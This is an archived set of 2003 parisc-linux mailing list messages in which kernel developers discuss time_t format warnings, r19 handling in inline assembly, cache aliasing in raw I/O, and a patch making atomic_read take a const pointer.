X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] warning: long unsigned int format, time_t arg
Date: Sun, 21 Sep 2003 20:04:57 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20030921190457.GI13172@parcelfarce.linux.theplanet.co.uk>
References: <3F6DE716.4030104@tiscali.be> <200309211846.h8LIkKwp011274@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622793 31360 80.91.229.3 (22 Nov 2014 02:19:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:53 +0000 (UTC)
Cc: Joel Soete <soete.joel@tiscali.be>, parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 21 13:04:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5139B483E
	for <parisc-linux@parisc-linux.org>; Sun, 21 Sep 2003 13:04:58 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A19Vx-0007OR-6X; Sun, 21 Sep 2003 20:04:57 +0100
Content-Disposition: inline
In-Reply-To: <200309211846.h8LIkKwp011274@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19565

On Sun, Sep 21, 2003 at 02:46:20PM -0400, John David Anglin wrote:
> >                  rc = snprintf(out_ptr, out_end - out_ptr,
> > -                          "%lu", tv.tv_sec);
> > +                          "%lu", (unsigned long int)tv.tv_sec);
> 
> This looks ok to me, although you don't need the extra "int".

I'd rather not add these.  They are only warnings, after all.

> I noticed in include/asm-parisc/posix_types.h we have:
> 
> /* Note these change from narrow to wide kernels */
> #ifdef __LP64__
> typedef unsigned long           __kernel_size_t;
> typedef long                    __kernel_ssize_t;
> typedef long                    __kernel_ptrdiff_t;
> typedef long                    __kernel_time_t;
> #else
> typedef unsigned int            __kernel_size_t;
> typedef int                     __kernel_ssize_t;
> typedef int                     __kernel_ptrdiff_t;
> typedef int                     __kernel_time_t;
> #endif
> 
> On narrow kernels, int and long are the same.  So, why not use long
> for both narrow and wide?  Then, the ifdef can be eliminated.

I think it's because gcc complains ;-)

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Found the r19 problem!
Date: Sun, 21 Sep 2003 15:12:39 -0400 (EDT)
Lines: 29
Approved: news@gmane.org
Message-ID: <200309211912.h8LJCd59011386@hiauly1.hia.nrc.ca>
References: <20030921185531.GH6963@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622794 31364 80.91.229.3 (22 Nov 2014 02:19:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:54 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 21 13:12:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0D325483E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Sep 2003 13:12:42 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id h8LJCeYP011388;
	Sun, 21 Sep 2003 15:12:40 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id h8LJCd59011386;
	Sun, 21 Sep 2003 15:12:39 -0400 (EDT)
In-Reply-To: <20030921185531.GH6963@systemhalted> from "Carlos O'Donell" at Sep 21, 2003 02:55:31 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19566

> > So use a caller saves register, place it in the clobbers, and let gcc
> > work around the usage (e.g. r4).
> >  
> > > > 	...
> > > > 	(Many insn later)
> > > > 	(stub) (dyncall) -> libpthread.so
> > > > 	-> libc.so
> > > 
> > > The above is an indirect call. r19 should be restored after the call
> > > if it is used after the call.
> > 
> > It is, but only after the asm(...) that lists r19 in the clobber.
> > 
> 
> Sorry "It is" should read "It is used" :)

Well that's why the restore is deleted.  So, the clobber must go
and r19 must be preserved across the asm(...).  As I said, you can't
clobber r19 when generating pic code.  It's treated as fixed register,
so clobbering it can lead to undefined behavior.

If the syscall used r19, it could include a use of r19 in the asm.
This would ensure the restore occurs before the syscall.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:29:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] warning: long unsigned int format, time_t arg
Date: Sun, 21 Sep 2003 15:16:23 -0400 (EDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <200309211916.h8LJGNAG011413@hiauly1.hia.nrc.ca>
References: <20030921190457.GI13172@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622794 31367 80.91.229.3 (22 Nov 2014 02:19:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:54 +0000 (UTC)
Cc: soete.joel@tiscali.be, parisc-linux@parisc-linux.org
To: willy@debian.org (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 21 13:16:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 71B5E483E
	for <parisc-linux@parisc-linux.org>; Sun, 21 Sep 2003 13:16:26 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id h8LJGNYP011414;
	Sun, 21 Sep 2003 15:16:24 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id h8LJGNAG011413;
	Sun, 21 Sep 2003 15:16:23 -0400 (EDT)
In-Reply-To: <20030921190457.GI13172@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Sep 21, 2003 08:04:57 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19567

> > /* Note these change from narrow to wide kernels */
> > #ifdef __LP64__
> > typedef unsigned long           __kernel_size_t;
> > typedef long                    __kernel_ssize_t;
> > typedef long                    __kernel_ptrdiff_t;
> > typedef long                    __kernel_time_t;
> > #else
> > typedef unsigned int            __kernel_size_t;
> > typedef int                     __kernel_ssize_t;
> > typedef int                     __kernel_ptrdiff_t;
> > typedef int                     __kernel_time_t;
> > #endif
> > 
> > On narrow kernels, int and long are the same.  So, why not use long
> > for both narrow and wide?  Then, the ifdef can be eliminated.
> 
> I think it's because gcc complains ;-)

Possibly, but the pa seems to be about the only port doing this.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:29:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Found the r19 problem!
Date: Sun, 21 Sep 2003 15:18:32 -0400 (EDT)
Lines: 10
Approved: news@gmane.org
Message-ID: <200309211918.h8LJIWWS011445@hiauly1.hia.nrc.ca>
References: <20030921185311.GG6963@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622794 31369 80.91.229.3 (22 Nov 2014 02:19:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:54 +0000 (UTC)
Cc: James.Bottomley@steeleye.com, dave.anglin@nrc-cnrc.gc.ca,
	parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 21 13:18:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 67F15483E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Sep 2003 13:18:33 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id h8LJIWYP011447;
	Sun, 21 Sep 2003 15:18:32 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id h8LJIWWS011445;
	Sun, 21 Sep 2003 15:18:32 -0400 (EDT)
In-Reply-To: <20030921185311.GG6963@systemhalted> from "Carlos O'Donell" at Sep 21, 2003 02:53:11 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19568

> So use a caller saves register, place it in the clobbers, and let gcc
> work around the usage (e.g. r4).

Yes.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:29:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Found the r19 problem!
Date: Sun, 21 Sep 2003 15:16:53 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20030921191653.GJ6963@systemhalted>
References: <20030921185531.GH6963@systemhalted> <200309211912.h8LJCd59011386@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622795 31372 80.91.229.3 (22 Nov 2014 02:19:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:55 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 21 13:19:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7C18D483E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Sep 2003 13:19:13 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A19hV-0004MC-00; Sun, 21 Sep 2003 15:16:53 -0400
Content-Disposition: inline
In-Reply-To: <200309211912.h8LJCd59011386@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (64% Sync Ratio [======....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19569

On Sun, Sep 21, 2003 at 03:12:39PM -0400, John David Anglin wrote:
> Well that's why the restore is deleted.  So, the clobber must go
> and r19 must be preserved across the asm(...).  As I said, you can't
> clobber r19 when generating pic code.  It's treated as fixed register,
> so clobbering it can lead to undefined behavior.
> 
> If the syscall used r19, it could include a use of r19 in the asm.
> This would ensure the restore occurs before the syscall.

I'm going to stop writing r19 to the stack and tell gcc I'm using r4,
and then do a copy/copy to get r19 back.

c.


From - Thu Nov 08 21:29:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] warning: long unsigned int format, time_t arg
Date: Sun, 21 Sep 2003 20:32:29 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20030921193229.GJ13172@parcelfarce.linux.theplanet.co.uk>
References: <20030921190457.GI13172@parcelfarce.linux.theplanet.co.uk> <200309211916.h8LJGNAG011413@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622795 31376 80.91.229.3 (22 Nov 2014 02:19:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:55 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, soete.joel@tiscali.be,
	parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 21 13:32:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 725BE483E
	for <parisc-linux@parisc-linux.org>; Sun, 21 Sep 2003 13:32:30 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A19wb-0007kM-IO; Sun, 21 Sep 2003 20:32:29 +0100
Content-Disposition: inline
In-Reply-To: <200309211916.h8LJGNAG011413@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19570

On Sun, Sep 21, 2003 at 03:16:23PM -0400, John David Anglin wrote:
> > > /* Note these change from narrow to wide kernels */
> > > #ifdef __LP64__
> > > typedef unsigned long           __kernel_size_t;
> > > typedef long                    __kernel_ssize_t;
> > > typedef long                    __kernel_ptrdiff_t;
> > > typedef long                    __kernel_time_t;
> > > #else
> > > typedef unsigned int            __kernel_size_t;
> > > typedef int                     __kernel_ssize_t;
> > > typedef int                     __kernel_ptrdiff_t;
> > > typedef int                     __kernel_time_t;
> > > #endif
> > > 
> > > On narrow kernels, int and long are the same.  So, why not use long
> > > for both narrow and wide?  Then, the ifdef can be eliminated.
> > 
> > I think it's because gcc complains ;-)
> 
> Possibly, but the pa seems to be about the only port doing this.

We're one of the few ports that builds both 32 and 64 bits from the same
port (actually, we were the first).  MIPS recently converted, and S390
before them.  PPC might in the future, and I doubt Sparc ever will.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Fwd: [parisc-linux] Problems with raw interface.]
Date: Sun, 21 Sep 2003 23:00:16 -0600
Lines: 50
Approved: news@gmane.org
Message-ID: <20030922050016.GB30351@dsl2.external.hp.com>
References: <1063919293.16536.2.camel@dhcp23.swansea.linux.org.uk> <1063989244.2834.48.camel@sisko.scot.redhat.com> <20030921053555.GA5312@dsl2.external.hp.com> <20030921142504.GD13172@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622795 31379 80.91.229.3 (22 Nov 2014 02:19:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:55 +0000 (UTC)
Cc: "Stephen C. Tweedie" <sct@redhat.com>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	Ranjith Sudarsanan <ranjith_sudarsanan@hp.com>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 21 23:00:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 12B6C483E; Sun, 21 Sep 2003 23:00:16 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030921142504.GD13172@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19571

On Sun, Sep 21, 2003 at 03:25:04PM +0100, Matthew Wilcox wrote:
> > BTW, kernel and user space will alias to different cachelines
> > for the same 32-bit "offset" because of "Space Registers"
> > (form of segmented addressing).
> 
> Rubbish, they alias to the same cachelines because of the 4MB get-out
> clause.  What you may have meant is that the same page accessed through
> user and kernel mappings will alias to different cachelines because
> their addresses *aren't* congruent modulo 4MB.

yes - that's what I meant...I was thinking at least part of the reason
they aren't congruent is because they are in different "segments" (ie use
a different Space ID). Maybe I'm just confused by past experience where
Space ID hashing was enabled (HPUX); parisc-linux has never had space ID
hashing enabled (at least not intentionally).

BTW, I suspect the following code in 2.4.22 mm/memory.c:map_user_kiobuf()
deals with this problem:
	...
        while (pgcount--) {
	                /* FIXME: flush superflous for rw==READ,
			*  probably wrong function for rw==WRITE
			*/
			flush_dcache_page(iobuf->maplist[pgcount]);
	}
	...

[ I got here because rw_raw_dev() calls map_user_kiobuf().]

But for "READ" (inbound data), I think I need a call that will
invalidate cachelines for userspace addresses. Preferable *after*
the DMA has completed in order to avoid issues with data prefetching
by the CPU.  ie memory has the most recent copy and any CPU holding
cachelines for the kernel address range will be coherent.


> Those functions don't seem to exist in 2.6.  The only reference is:
> ./Documentation/block/biodoc.txt: of data, so brw_kiovec() invokes
> ll_rw_kio for each kiobuf in a kiovec.
> which seems to be an orphaned comment.
> 
> I'll reluctantly take a look at 2.4.

Well, the problem exists in 2.6 and is easy to reproduce.
Perhaps find the equivalent calls there and I'll backport the fix to 2.4?
I'm assuming what's broken is obvious once one finds the right code.

thanks,
grant


From - Thu Nov 08 21:29:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mitchell Blank Jr <mitch@sfgoth.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [2.6 PATCH][PARISC] atomic_read()
Date: Sun, 21 Sep 2003 23:11:25 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <20030922061125.GL50734@gaz.sfgoth.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622796 31381 80.91.229.3 (22 Nov 2014 02:19:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:56 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 22 00:02:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from gaz.sfgoth.com (unknown [63.205.85.133])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9D13A483E
	for <parisc-linux@parisc-linux.org>; Mon, 22 Sep 2003 00:02:00 -0600 (MDT)
Original-Received: from gaz.sfgoth.com (localhost.sfgoth.com [127.0.0.1])
	by gaz.sfgoth.com (8.12.9/8.12.6) with ESMTP id h8M6BPOv078337
	for <parisc-linux@parisc-linux.org>; Sun, 21 Sep 2003 23:11:25 -0700 (PDT)
	(envelope-from mitch@gaz.sfgoth.com)
Original-Received: (from mitch@localhost)
	by gaz.sfgoth.com (8.12.9/8.12.6/Submit) id h8M6BPdr078336
	for parisc-linux@parisc-linux.org; Sun, 21 Sep 2003 23:11:25 -0700 (PDT)
	(envelope-from mitch)
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19572

A patch was recently accepted into the main 2.6 tree that makes skb_cloned()
and skb_shared() take a "const" pointer.  These functions call atomic_read()
so it needs to take a const pointer too.  After some discussion on netdev
davem said that this should be safe (even in the pessimal case of a
spinlock-implemented atomic_t we should be able to read its value outside
the lock safely)

PA-RISC uses an inline fucntion for atomic_read() but it doesn't mark its
argument as const, so without this patch you'll start seeing lots of new
compile warnings.

Please apply.  The patch is versus a week ago but the file hasn't changed so
it should apply fine.  It isn't compile tested but it shouldn't cause any
problems.

-Mitch

--- linux-2.6.0-test5-bk3-mnb2/include/asm-parisc/atomic.h	2003-09-12 15:46:35.000000000 -0700
+++ linux-2.6.0-test5-bk3-mnb3/include/asm-parisc/atomic.h	2003-09-21 16:07:11.782837264 -0700
@@ -154,7 +154,7 @@
 	SPIN_UNLOCK_IRQRESTORE(ATOMIC_HASH(v), flags);
 }
 
-static __inline__ int __atomic_read(atomic_t *v)
+static __inline__ int __atomic_read(const atomic_t *v)
 {
 	return v->counter;
 }


From - Thu Nov 08 21:29:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
